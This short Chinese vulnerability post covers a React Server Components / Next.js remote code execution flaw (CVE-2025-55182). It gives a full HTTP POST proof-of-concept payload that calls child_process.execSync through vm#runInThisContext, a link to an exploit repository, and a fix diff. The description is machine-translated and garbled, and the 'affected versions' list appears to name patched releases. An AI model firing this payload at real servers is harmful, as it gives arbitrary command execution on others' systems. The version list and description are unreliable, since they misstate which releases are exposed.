文章目录
免责申明
本文章仅供学习与交流,请勿用于非法用途,均由使用者本人负责,文章作者不为此承担任何责任
漏洞描述
React 提供服务器功能1,可以看作是一种RPC- 通过HTTP传输。它们可以用来从相邻节点获取数据,以确保 低延迟,或执行客户端缺乏的认证请求 资历。
React 使用一种叫做 React 飞行协议的东西2用于序列化 传递给服务器函数的值。
影响版本
React: 19.0.1+, 19.1.2+, 19.2.1+
Next.js: 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7+
漏洞poc
https://github.com/Ashwesker/Blackash-CVE-2025-55182.git
POST /formaction HTTP/1.1
Host:
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=----Boundary
Content-Length: 291
------Boundary
Content-Disposition: form-data; name="$ACTION_REF_0"
------Boundary
Content-Disposition: form-data; name="$ACTION_0:0"
{"id":"vm#runInThisContext","bound":["global.process.mainModule.require(\"child_process\").execSync(\"ping 127.0.0.1\").toString()"]}
------Boundary
漏洞复现

修复建议
利用区块引用来检索原型属性 通过这个检查解决了:
@@ -78,7 +80,10 @@ export function preloadModule<T>(
export function requireModule<T>(metadata: ClientReference<T>): T {
const moduleExports = parcelRequire(metadata[ID]);
- return moduleExports[metadata[NAME]];
+ if (hasOwnProperty.call(moduleExports, metadata[NAME])) {
+ return moduleExports[metadata[NAME]];
+ }
+ return (undefined: any);
}